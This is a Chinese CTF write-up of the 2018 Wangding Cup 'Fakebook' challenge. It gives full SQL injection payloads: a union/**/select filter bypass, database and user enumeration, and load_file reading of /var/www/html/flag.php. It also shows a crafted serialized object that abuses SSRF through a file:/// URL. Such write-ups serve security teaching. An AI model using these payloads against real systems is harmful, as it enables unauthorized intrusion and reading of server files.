[网鼎杯 2018]Fakebook1

文章描述了一次针对一个网站的渗透测试过程,通过数字型SQL注入和load_file函数的滥用,展示了如何利用src漏洞进行信息搜集,包括数据库、用户信息和系统信息。最终目标是获取flag文件,通过序列化和反序列化技巧绕过安全防护,成功读取服务器文件。

提示

  1. 数字型sql注入
  2. src
  3. robots.txt
  4. 当数据库是root权限使可以使用load_file函数

这里先用dirsearch扫一遍

一般做题都要扫,这道题扫描速度不能太快,不然会429报错

这里扫到了比较重要的两个,/var/www/html/flag.php这个肯定是不能直接访问的,但是还有robots.txt

访问robots.txt看看

这里有返回一个备份文件,下载来看看

这里主要的有这点

curl_exec这个函数用不好就会造成src漏洞

所以这里就有了一个构成src漏洞的思路,继续往下走看怎么利用

随便注册一个账户登录

这里本来想尝试能不能注册管理员账户,但这个网站好像并没有管理员这个说法

我自己的理解

  • 这里对登录界面进行sql注入是不明智的,并没有什么用,没有管理员一说,就算有大概和普通用户的登陆后界面也一样

点击admin到另一个界面

这里我对两个点有些许怀疑

  • url传参里的no=1,看起来很像sql注入,但是我还是先测试了一下以免无用功                  传入n=1 and 1=1,正常 传入n=1 and 1=2,报错
  • 这里说他或者她的博客内容,我想着刚开始注册的时候不是有一个填入自己的博客吗,这里是否就是一个src                                                 
  •  查看源代码看看

    这里有明显的src

    应为我注册的时候用的时我的csdn的博客,他这里回显的就是博客base64加密后的东西

所以到这里有两种方法去做

  1. sql注入,通过sql读取文件
  2. src

sql注入

首先通过order by看有几个字段

当尝试到5的时候报错

union select 1,2,3,4

这里说我是黑客

fuzz一下看过滤了啥

这里看起来像是过滤了空格,但其实之过滤了union空格select,完整的且大小写匹配

但是换成union/**/select就绕过了,这个防护还不如不做

接着我们的联合查询

payload:  1 union/**/select 1,2,3,4

这里的报错点在2

现在就是一系列信息搜集

数据库:fakebook

-1%20union/**/select%201,database(),3,4

用户信息:root@localhost

-1%20union/**/select%201,user(),3,4

操作系统:linux

-1%20union/**/select%201,@@version_compile_os,3,4

数据库版本:10.2.26-MariaDB-log

-1%20union/**/select%201,version(),3,4

这里没想到呀,居然是root权限的用户

当权限是root那么我们就可以使用函数load_file直接读取服务器的文件(load_file里的必须时绝对路径,不能是相对路径)

读取flag文件

-1%20union/**/select%201,load_file(%27/var/www/html/flag.php%27),3,4

查看源代码获得flag

src

到这里还是没有什么思路,先把数据库查完

查表:users

-1%20union/**/select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

查字段:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

这里一个一个看看

到这里的时候发现序列化后的UserInfo对象

payload:-1%20union/**/select%201,group_concat(data),3,4%20from%20users

这里就能看到最后那一节不就是我们注册的时候的博客吗,并且这个页面也会返回base64后的页面代码

这里明显就是刚开始我们发现的备份文件里的代码反序列化的结果

我们把这个反序列化一下再改一下

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:36:"https://mp.csdn.net/mp_blog/creation";}

这里s后面的数字就是他后面有多少个字符,file是用于读取本地文件的,里面得用绝对路径

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

-1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

明显返回正常了,正确解析了我们上传的东西,blog这里访问了我们放的东西(这里放在union/**/select 1,2,3,4的4的位置是因为data字段本就在第四个)

查看源代码

这里拿去base64解码便得到了flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值